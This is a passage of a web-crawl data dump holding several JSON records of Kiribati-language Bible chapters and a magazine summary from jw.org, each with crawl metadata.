(2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-i-korinto\/8\/","date":"2018-04-21T01:10:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00162.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":742,"character_repetition_ratio":0.049,"word_repetition_ratio":0.005,"special_characters_ratio":0.229,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"42 Noria! Au toro+ ae I boutokaia! Teuare I rineia+ ae I* kakatonga irouna!+ I anganna taamneiu.+ E na uota te kaetitaeka ae riai nakoia natannaomata.+ 2 E na aki takarua ke ni kanenea bwanaana,Ao e na aki kaongongo bwanaana i nanon te kawai.+ 3 Akea te maunei ae einako ae e na kamanatuaa,Ke ni kamatea te taura ae bubu wikina.+ Rinanon te kakaonimaki, e na uota te kaetitaeka ae riai.+ 4 E na aki kekerikaaki ootana ke ni kamanatuaaki ni karokoa ae e katea te kaetitaeka ae riai n te aonnaba.+ Ao a teimatoa abamwakoro ni kantaningaa ana tua.* 5 E kangai ana taeka te Atua ae koaua ae Iehova,Ae te tia Karaoa karawa, ao Teuare Moan te Kakannato are taakina karawa,+Ae Teuare taakina te aonnaba ma ni karikii bwaai ni kabane ake iai,+Are Teuare anga te ikeike nakoia aomata ake iai,+Ao te maiu* nakoia ake a nakonako iai:+ 6 \"I weteiko n te raoiroi ngai ae Iehova,Ao I taua baim. N na kakawakiniko ao N na anga ngkoe bwa kaanga te berita ibukia aomata,+Ao bwa kaanga te oota nakoia natannaomata,+ 7 Bwa ko na kaurei maata aika mataki,+Ko na kaira te aomata ae te bure ni kaotinakoa man te matawariki ae roo,Ao ko na kaotinakoia man te karabuuti aomata aika tekateka n te rotongitong.+ 8 Bon Iehova ngai. Bon aei arau. N na aki anga neboakiu nakon temanna*Ao N na aki anga naba karaoiroau nakoia bouannanti aika kaaraki.+ 9 Noria a a tia n roko baike rimoa. Ao ngkai I a tataekini baika boou. N na tuangko taekaia imwain ae a kaoti.\"+ 10 Anenea te kuna ae boou nakon Iehova,+Ao karaoiroana mai tabon nako aonnaba,+Ngkami aika kam ruo nako taari, ma kanoana ni kabane,Ngkami aika abamwakoro ma kaaia.+ 11 Ke e kanenea bwanaana te rereua ma kaawana nako,+Ao taabo ni maeka ake e mena iai Keta.+ Ke a tatakarua ni kimwareirei taani maeka n te bwaa,Ke a takarua mai taubukini maunga. 12 Ke a neboa IehovaAo n tataekina karaoiroana n taian abamwakoro.+ 13 E na otinako Iehova n ai aron te mwaane ae korakora.+ E na kauekea ingaingan nanona n ai aron te tia buaka.+ E na takarua, eng e na takarua n te takakaa ni buaka. E na kaotia bwa e korakora riki nakoia aiana.+ 14 \"I teimatoa n aki kakarongoa n te tai ae maan. I teimatoa ni kainabwabu ao n taua baangiu. N na ngirangira ao N na ikenrawa ao N na ananaa ikeu, n te tai ae tii teuana,N ai aron te aine ae bung. 15 N na urui maunga ma tabukiAo N na karai arokaia ni kabane. N na oniki karaanga nakon taian abamwakoro,*Ao ni kamwautakatakai neei ni maunei.+ 16 N na kaiririia mataki n te kawai ae a aki ataia,+Ao N na kairiia bwa a na toutoui kawai aika a tuai n taneiai iai.+ N na onika te rotongitong imwaia nakon te oota+Ao N na onika te aba ae aobuaka nakon te aba ae aoraoi.+ Anne te bwai ae N na karaoia ibukia, ao N na bon aki kitania.\" 17 Ane a na mumun rikaaki ao a na boni kamaamaeakiTe koraki aika onimakini bouannanti aika kaaraki,Ake te koraki ake a kangai nakoia bouannanti aika biiti:* \"Bon atuara ngkami.\"+ 18 Kakauongo ngkami aika kam bonotaninga,Ao taraia ma n noria ngkami aika kam mataki.+ 19 Antai ae mataki n ai aron au toro,Ao ae e bonotaninga n ai aron au tia uataeka are I kanakoa? Antai ae mataki n ai aron teuare reke kaniwangana,Ao ae e mataki n ai aron ana toro Iehova?+ 20 Ko nori baika bati ma ko aki teimatoa n taratarai. Ko kauki taningam ma ko aki kakauongo.+ 21 Ibukin ana raoiroi IehovaAo e kukurei ni kaotia bwa e riai ni kamoamoaaki te tua* ao ni karineaki. 22 Ma aio te natannaomata ae a anaaki aia bwai ma ni kuribwaiaki.+ A bane ni mwane n taiani bwangabwanga ao ni karabaaki n taiani karabuuti.+ A anaaki aia bwai ao akea temanna ae kamaiuia,+Ao a kuribwaiaki ao akea temanna ae kangai: \"Kairiia n oki!\" 23 Antai i buakomi ae e na ongo te baei? Antai ae e na kakauongo ao n ongora ibukin te tai ae nang roko? 24 Antai ae anga Iakoba bwa a na kuribwaiaki,Ao Iteraera nakoia taani kuribwai? Tiaki bon Iehova, are Teuare a bure nakoina? Are a rarawa n nakonako ni Kawaina nako,Ao n aki ongeaba n Ana tua?*+ 25 Mangaia ae E teimatoa ni kabwaroa bonon nanona,Unna, ao te buaka ae korakora i aoia naakai.+ Ao korakoran te buaka e kabueki bwaai nako aika otabwaninia, ma a aki muti.+ E kaurarakeia ma a aki naba mutiakinna i nanoia.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/42\/","date":"2018-04-23T05:00:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945724.44\/warc\/CC-MAIN-20180423031429-20180423051429-00101.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":791,"character_repetition_ratio":0.045,"word_repetition_ratio":0.005,"special_characters_ratio":0.235,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ana miitara Obaria:* E kangai ana taeka te Uea ae Moan te Rietata ae Iehova ni kaineti ma Etom:+ \"Ti a tia n ongo te rongorongo mairoun Iehova,E a tia ni kanakoaki te tia tei nako buakoia natannaomata ao e kangai: 'Teirake, ti na katauraoi nakon te buaka n ekaanako neiei.'\"+ 2 \"Noria! I kamangoriko i buakoia natannaomata,Ko bon ribaaki.+ 3 E mwamwanaiko ana kan rarabakau nanom,+Ngkoe ae ko maeka n tabwenan te bwaa,Ko maeka n te tabo ae rietata, ao ko taku i nanom,'Antai ae kona ni karuoai nako aontano?' 4 E ngae ngkana ko karietaa* am tabo ni maeka n aron te ikare,Ke ko kaaki ngaom i buakon itoi,Ma N na boni karuoko mai ikanne,\" bon ana taeka Iehova. 5 \"Ngkana a roko iroum taan iraa, ao taani kamwarua n te bong,(Ko a kamaunaaki kangaa!)* Tiaki a na bon tii iraea ae a tangiria? Ke ngkana bon taan ikotii kureebe aika a na roko iroum,Tiaki a na katikui tabeua bwa bwaai ni karemrem?+ 6 A a ukoukoraki kangaa kanoan Etau! A a kuribwaiaki kangaa aia bwai aika kakawaki aika karabaaki! 7 A kairiko nakon te tia. A bane ni mwamwanaiko raoraom.* A tokanikai i aom mwaane ake a raoi ma ngkoe. A na kaaki te karaun i aam te koraki ake a kang kariki ma ngkoe,Ma ko na bon aki ataia. 8 N te bong anne,\" bon ana taeka Iehova,\"Ao tiaki N na kamaunaia te koraki aika wanawana mai Etom,+Ao te koraki aika ataibwai man ana aono Etau ae maungaunga? 9 Ao a na maakunrang am tia buaka+ ngkoe ae Teman,+Ibukina bwa a na kamaunaaki ni kamateaki aomata n tatabemania nako ake n ana aono Etau ae maungaunga.+ 10 E na rabuniko te kamaamaeaki+Ibukin te iowawa are e karaoaki nakon tarim are Iakoba,+Ao ko na mauna n aki toki.+ 11 N te bong are ko tii teitei iai ni mataku,N te bong are e kairakinako iai ana taanga ni buaka teuaei irouia ianena bwa taenikai,+Ngke a rin iabatera ni mataroan ana oo ao ni karaoa te ananga ni katekeraoi+ ibukin Ierutarem,Ao ko riki naba ngkoe bwa kaanga ai aroia. 12 Ko aki riai ni kakatonga ibukin ana bong tarim, are ana bongi n tekebuaka,+Ko aki riai ni kimwareirei ibukia kaain Iuta n aia bong ni kamateaki,+Ao ko aki riai n taetae n rangi ni kamoamoa n aia bongi n rawawata. 13 Ko aki riai n rin ni mataroan aia oo au aomata n aia bong ni kabuanibwai.+ Ko aki riai ni kakatonga ibukin rawawatana n ana bong ni kabuanibwai,Ao ko aki riai ni kaaki baim i aoni kaubwaina n ana bong ni kabuanibwai.+ 14 Ko aki riai n tei i tutani kawai bwa ko na kamateia ana aomata ake a reke birinakoia,+Ao ko aki riai n anganako ana aomata ake a reke maiuia ni bongin te rawawata.+ 15 Bwa e a kaan ana bong Iehova n ekiianako natannaomata ni kabane.+ E na karaoaki nakoim aron are ko a tia ni karaoia.+ E na manga oki nako aon atum arom are ko karaoia nakoia tabemwaang. 16 Bwa a na teimatoa natannaomata ni kabane ni moi+N arom ni moi i aon au maunga ae tabu. A na moi ao a na ongnga,Ao a na riki bwa kaanga ai aron ae bon akea ngaiia. 17 Ma a na boni mena i aon te Maunga ae Tion te koraki ake a reke maiuia,+Ao e na tabu,+Ao tibun Iakoba a na bwaini bwaai ake bon aia bwai.+ 18 A na riki tibun Iakoba bwa te ai,Ao tibun Ioteba bwa te ura,Ao tibun Etau bwa te uteute ae mwau. A na kaurarakei ao ni kabueki,Ao e na bon akea tibun Etau+ ae e na reke maiuna,Bwa bon Iehova ae taekinna. 19 A na abana te Nekebo* ao ana aono Etau+ ae maungaunga,Ao te Tiebira* ao abaia I-Biritia.+ A na bwaina ana tawaana Eberaim ao tawaanan Tamaria,+Ao Beniamin e na abana Kireata. 20 Ao taenikain te tano ae katabukaki* aei+Ae taekaia tibun Iteraera, a na bwaina abaia tibuni Kanaan ni karokoa Tarebata.+ Ao taenikain Ierutarem ake a mena i Tebarata, a na abani kaawan te Nekebo.+ 21 Ao a na waerake taani kamaiu nako aon te Maunga ae Tion,Bwa a na motika taekan ana aono ae maungaunga Etau,+Ao e na bwaina te nakoa n uea Iehova.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/obaria\/1\/","date":"2018-04-25T07:55:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947705.94\/warc\/CC-MAIN-20180425061347-20180425081347-00134.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":737,"character_repetition_ratio":0.053,"word_repetition_ratio":0.005,"special_characters_ratio":0.238,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20 Ni moan te ririki* n te tai are a nanako iai ni buaka ueea, ao e kaira te taanga ni buaka Ioaba+ ao a uruaka abaia tibun Ammon. E roko ao e otabwaninia Rabaa+ ao e tiku Tawita i Ierutarem.+ Ao Ioaba e buakana Rabaa ao e urua ni kabwakaa.+ 2 Ao Tawita e anaa ana baunuea Marekam* mai atuna, ao e noria bwa bon teuana te tarena* ni koora rawawatana, ao a mena iai atibu aika rangi ni kakawaki, ao e katokaaki i aon atun Tawita. E anai naba bwaai ni kuri aika rangi ni bati man te kaawa.+ 3 E tauia aomatan te kaawa ao e kammwakuriia+ bwa a na kabonganai taian tao ibukin te atibu, ao bwaai ni mwakuri aika biiti aika kakang ao tanai. Anne te bwai ae e karaoia Tawita nakon aia kaawa ni kabane tibun Ammon. N tokina ao e a oki Tawita ma kaain te taanga ni buaka ni kabane nako Ierutarem. 4 Imwin aei, ao e a boo te buaka ma I-Biritia i Ketera. N te tai anne ao Tibekai+ are tibun Utiaa e kamatea Tibai, ae kanoan temanna ae riki mairouia taian Rebaim,+ ao a a kataenikaiaki. 5 Ao e a manga boo riki te buaka ma I-Biritia, ao Ereanan are natin Iaira e kamatea Rami are tarini Koria+ are te I-Kate are kain ana kainiwai kaanga ai aron aia kai taan rarangaa te kunnikai.+ 6 E a manga boo riki te buaka i Kate,+ ao iai te mwaane temanna iai ae rangi n abwabwaki,+ ao iai tabonibaina aika 6 ni baina ni kauaai ao taboniwaena aika 6 ni waena ni kauaai, ao 24 botaia ni kabane. Ao boni ngaia naba kanoan temanna ae riki mairouia taian Rebaim.+ 7 E teimatoa ni kakanikoia+ tibun Iteraera, mangaia are e a kamateaki iroun Ionatan are natin Timeaa+ are tarin Tawita. 8 Aomata aikai boni kanoaia taian Rebaim+ i Kate,+ ao a bwaka ni bain Tawita ao ni baia ana toro.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-rongorongo\/20\/","date":"2018-04-23T06:30:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945793.18\/warc\/CC-MAIN-20180423050940-20180423070940-00489.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":363,"character_repetition_ratio":0.061,"word_repetition_ratio":0.011,"special_characters_ratio":0.239,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngai ae te unimwaane, nakon te aine ae rineaki ao nakoia natina, ake I tangiriia ni koaua, ao tiaki tii ngai, ma bon aomata nako naba ake a ataa te koaua. 2 Ti tangiringkami ibukin te koaua ae teimatoa ni mena i nanora, ao e na mena iroura n aki toki. 3 E na mena iroura te akoi ae rianako ao te nanoanga ma te rau mairoun te Atua ae te Tama, ao mairoun Iesu Kristo ae Natin te Tama, n ikotaki ma te koaua ao te tangira. 4 I rangi ni kimwareirei ibukina bwa I ataia bwa iai natim tabeman aika nakonako n te koaua,+ n ai aron te tua are ti karekea mairoun te Tama. 5 Mangaia ae I butiiko ngkoe ae te aine ae ko rineaki bwa ti na itangitangiri. (I aki korea nakoim te tua ae boou, ma I korea te tua are iai iroura man te moantai.)+ 6 Bwa bon aei te tangira: ae ti na teimatoa n nakonako ni kaineti ma ana tua.+ Aei te tua are kam ongo man te moantai, ae kam riai n teimatoa n nakonako iai. 7 Bwa a mwaiti taani bureburea te aba aika kaoti n te aonnaba,+ aika aomata aika aki kaotia bwa a kakoauaa Iesu Kristo bwa e roko n te rabwata.+ Te aomata ae karaoa aei bon te tia bureburea te aba ao te tia kaitaraa Kristo.+ 8 Kam na tarataraingkami bwa kam na aki kabuai baike ti karekei n ara mwakuri, bwa kam aonga ni karekea te kaniwanga ae bwanin raoi.+ 9 E aki katiteuanaaki ma te Atua ane e riaon ana reirei te Kristo ao e aki teimatoa n tiku iai.+ Ane e teimatoa n tiku i nanon te reirei aei, ao e katiteuanaaki ma te Tama ao te Nati.+ 10 Ngkana iai ae e roko iroumi ao e aki uota te reirei aei, ao tai butimwaeia ni karinna n ami auti+ ke ni kamauria. 11 Bwa ane e kamauria ao e ibuokanibwai n ana mwakuri aika bubuaka. 12 E ngae ngke a bati baika I kani korei nakoimi, ma I a aki kani korei n te beeba ma te ingke, ma I kantaningaia bwa N na roko iroumi ao n itaramata n taetae ma ngkami, bwa e aonga ni kororaoi kimwareireimi. 13 A kamauriko natin neiere tarim are rineaki.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-ioane\/1\/","date":"2018-04-22T19:03:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945637.51\/warc\/CC-MAIN-20180422174026-20180422194026-00225.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":420,"character_repetition_ratio":0.06,"word_repetition_ratio":0.01,"special_characters_ratio":0.242,"stopwords_ratio":0.481,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI Na. 1 2016 | E Aera Bwa Ti Riai ni Kakaonimaki?\nAngia aomata a kewe te taina n te maroro ae maanna tebwina te miniti. E aera ngkai ko kataia ni kaokoroko?\nATUN TE MAEKATIN\nE kaotaki n rongorongon Hitoshi bwa anne arona.\nATUN TE MAEKATIN\nKo riai n ataa te koaua ibukin te kewe.\nATUN TE MAEKATIN\nRongorongon te moan aomata e boni kaotaki iai kakawakin te kakaonimaki.\nE BITII MAIUIA AOMATA TE BAIBARA\nE rangi n ringaki nanon Alain Broggio ni kibun te Baibara ae 1 Ioane 1:9.\nA kangaa ni karaoaki taian nira ni boki ake n te Baibara ao tera aroni kabonganaaia? Antai \"mataniwi n ibonga\" ake a mwaneweaki n te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti?\nAanga aika tenua aika kona ni buokiko bwa ko na mwengaraoi riki.\nTE RABAKAU RIMOA NI KAINETI MA TE MAIU N TAAI AIKAI\nE aki tii taekinna Iesu bwa ti na katoka raraomara ma e kabwarabwaraa naba aroni karaoana.\nA kona ni manga maiu maate?\nBaika Tibwa Rin Riki n te Intanete\nIai baika tenua aika e tituaraoi n anga te Atua ibukini buokan rawawatara.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na1-2016-tianuare\/","date":"2018-04-23T04:54:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945724.44\/warc\/CC-MAIN-20180423031429-20180423051429-00202.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":187,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22 \"Ngkana e iraea te kao mwaane ke te tiibu te aomata temanna ao e tiringnga ke e kaboonakoa, e na kabooa mwin temanna te kao mwaane n niman te kao mwaane, ao temanna te tiibu n aman te tiibu.+ 2 (\"Ngkana e kuneaki te tia iraa+ n ninia te auti teuana ao e oreaki ao e mate, akea te bure ni katuturaraa ni kaineti ma kamateana. 3 Ma ngkana e riki anne imwini bwakaraken taai, ao e boni bure ni katuturaraa teuanne.) \"E riai ni kabooa mwina te tia iraa. Ngkana akea ana bwai, ao e riai ni kaboonakoaki ibukini baike e iraei. 4 Ngkana e noraki bwa e maiu i nanoni baina te baere e iraea, ae tao te kao mwaane ke te taongki ke te tiibu, e na kabooa mwina ni kauouaa mwaitina. 5 \"Ngkana e katikuia ana man te aomata bwa a na amwarake n te tawaana ke n te nne ni kureebe, ao e kariaia bwa a na amwarake n ana tawaana te aomata temanna, e na boni kabooa mwina n uaan arokana aika taiani kabanea n raoiroi ke n uaan ana nne ni kureebe aika taiani kabanea n raoiroi. 6 \"Ngkana e ura te ai ao e rakanako nakon aroka aika kateketeke, ao a bue iai bwabwati ni uita ke aroka aika uita* n te tawaana ke ai bon te tawaana ae bwanin, e riai ni kabooa mwin te bwai are bue te aomata are kauraa te ai. 7 \"Ngkana e anga te mwane ke bwaai tabeua te aomata temanna bwa e na kawakinaki iroun raona, ao a kimoaaki baikai man ana auti raona, ma ngkana e kuneaki te tia iraa ao e riai ni kabooi mwia ni kauouai mwaitiia.+ 8 Ngkana e aki reke te tia iraa, e na kairaki teuare ana auti te auti nako matan te Atua ae koaua+ bwa e aonga n noraki bwa e boni kuai ana bwai raona ke e aki. 9 Ni kaineti ma kauntaeka nako ibukini bwainakini bwaai aika iraeaki ae te kao mwaane, te taongki, te tiibu, te kunnikai, ke te bwai riki teuana ae bua are e taekinna temanna i buakoia ni kangai, 'Bon au bwai aei!' a na uota taekaia koraki aika uakoraki aikai nako matan te Atua ae koaua.+ Te aomata are e taekinna te Atua bwa e bure e na kabooa mwin te baerei ni kauouaa mwaitina nakon raona.+ 10 \"Ngkana e anga te taongki ke te kao mwaane ke te tiibu ke te aeka ni man riki teuana ae manana te aomata temanna bwa e na kawakinaki iroun raona, ao e mate te man arei ke e rangi n ikoaki ke e kairakinako ao akea taani kakoaua iai, 11 e riai ni karaoaki te taetae n tuea i marenaia, i matan Iehova, bwa e bon aki kuai ana bwai raona ao e na butimwaea anne teuare te tia bwaibwai. E na aki kabooa mwina te aomata are mwiokoaki.+ 12 Ma ngkana e iraeaki te man mairouna, ao e na kabooa mwina nakon teuare te tia bwaibwai. 13 Ngkana e raebitiaki te man iroun te man ni kaakang, e na uota rabwatan te man are mate bwa te bwai ni kakoaua. E na aki kabooa mwin te man ae raebitiaki iroun te man ni kaakang. 14 \"Ma ngkana iai ae e bubutii tangoan te man ae ana man raona, ao e rangi n ikoaki te man arei i nanoni baina ke e mate, ao e riai ni kabooa mwina teuare tangoia ngkana e aki mena teuare te tia bwaibwai i rarikin ana man. 15 Ngkana e mena teuare te tia bwaibwai i rarikin ana man ao e na aki kabooa mwina teuare tangoia. Ngkana e kabooaki tangoana ao e na riki te mwane ane kabwakaaki anne bwa te kaboomwi. 16 \"Ao ngkana iai te mwaane ae kababaa te aine ae tuai ni boo ma te mwaane ao e tuai ni kabae, ao e wene ma ngaia, e riai ni kabwakaa ibukin neiei boon te buu te aine ae katauaki bwa e aonga n riki bwa buuna.+ 17 Ngkana e bon rawa taman neiei n anga natina te aine aei nakon teuaei, e na boni kabwakaa naba teuaei te mwane ae botau ma boon te buu te aine. 18 \"Ko aki riai ni kariaia bwa e na maiu te aine ae te tia tabunea.+ 19 \"Ane e karaobure ma te man ao e na boni kamateaki.+ 20 \"Ane e aki angakarea nakon Iehova n tii ngaia ma e angakarea nakoia atua tabeman, ao e na kamateaki.+ 21 \"Ko na tai karaoa ae buakaka nakon te aomata ae maeka n iruwa ke ni karawawataa,+ bwa kam maeka n iruwa naba ngkoa n te aba are Aikubita.+ 22 \"Kam na tai karawawataa te aine ae e a tia ni mate buuna ke te teei ae akea tamana.*+ 23 Ngkana ko karawawataa naba teutana n te aro ae e a tang nakoiu, ao N na bon ongo tangina,+ 24 ao e na urarake uniu, ao N na kamateingkami n te kabaang, ao a na riki buumi bwa aine aika a a tia ni mate buuia ao a na riki natimi bwa ataei aika akea tamaia. 25 \"Ngkana ko katangomwane nakoia aika a maiu ni kainnano* mai buakoia au aomata, ae te aomata ae mena i rarikim, ao ko na tai riki bwa te tia kataarau* nakoina. Kam na tai bakaonna nakoina.+ 26 \"Ngkana ko anaa ana kunnikai raom bwa te bwai ni kaboomwi ibukin te bwai ae tangoaki,*+ ao ko na kaoka ana kunnikai nakoina ni bungin taai. 27 Bwa bon tii ngaia karabaana ae kunnikaina ibukin rabunan rabwatana.* E nangi matu n tera ngkana ai akea ana kunnikai?+ Ao ngkana e tang nakoiu, ao N na bon ongo, bwa I atataiaomata.*+ 28 \"Ko na tai karereantia* te Atua+ ke n taetae ni karekea kain te mataniwi* temanna i buakoia am aomata.+ 29 \"Ko na tai waeremwe n anga am karea aika uaan abam mai buakon am uaa ae mwaitikurikuri ma am wain ao am oera ae rangi ni bati.+ Ko na anganai te karimoa mai buakoia natim mwaane.+ 30 Aio arom ae ko riai ni karaoia nakon am kao mwaane ao am tiibu:+ E na teimatoa n tiku iroun tinana i nanon itibong ao ko na anganai n te kawanibong.+ 31 \"Kam na riki bwa au aomata aika itiaki,*+ ao kam na tai kana irikon te man ae raebitiaki n te tawaana iroun te man ni kaakang.+ Kam riai ni karenako nakoia kamea.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/22\/","date":"2018-04-21T06:55:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945037.60\/warc\/CC-MAIN-20180421051736-20180421071736-00458.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1094,"character_repetition_ratio":0.062,"word_repetition_ratio":0.006,"special_characters_ratio":0.243,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5 Ngke a taua ana Ati+ te Atua ae koaua I-Biritia, ao a uotia mai Ebenetera nako Atoto. 2 A anaa ana Ati te Atua ae koaua I-Biritia, ao a uotia nako nanon ana auti* Takon ao a katikua i rarikin Takon.+ 3 Ngke a utimwaaka I-Atoto n te bong are imwina, ao e a bwaka ni bobaraaki Takon i aontano i matan ana Ati Iehova.+ Mangaia are a anaa Takon ao a kaokia nakon ana tabo.+ 4 Ngke a utimwaaka n te ingabong n te bong are imwina, ao e a bwaka ni bobaraaki Takon i aontano i matan ana Ati Iehova. Ma e a koreakinako atun Takon ma baina ni kauaai ao a a wene n te kawai n rin n te tembora. Ma tii iteran rabwatana ae kaanga taraan te ika* ae tiku. 5 Anne bukina ae a aki totoua te kawai n rin nakon Takon ana ibonga nako Takon, ma te koraki nako ake a rin n ana auti Takon i Atoto ni karokoa te bong aei. 6 E rawawata bain Iehova n ekiianako I-Atoto, ao e kamaunaia ngke e orea Atoto ma aonona nako n te tine.*+ 7 Ngke a nora te bwai ae riki mwaanen Atoto, ao a taku: \"Tai kariaia bwa e na tiku iroura ana Ati Atuan Iteraera, bwa e a bwakarawata baina i aora ao i aon atuara ae Takon.\" 8 Mangaia are a kanaanako n ikotiia tokani Biritia ni kabane ao a titirakinia ni kangai: \"Tera ae ti riai ni karaoia ma ana Ati Atuan Iteraera?\" A kaeka ni kangai: \"Ke e kamwaingaki ana Ati Atuan Iteraera nako Kate.\"+ Mangaia are a a kamwainga ana Ati Atuan Iteraera nako ikekei. 9 Imwini kamwaingana nako ikekei, ao e a ekaanako te kaawa arei bain Iehova, ni kauekea te nakonnano ae korakora. E oreiia mwaanen te kaawa man ae mangori ni karokoa ae kakannato ao a a ewekaki n te tine.+ 10 Mangaia are a kanakoa ana Ati te Atua ae koaua nako Ekiron,+ ma 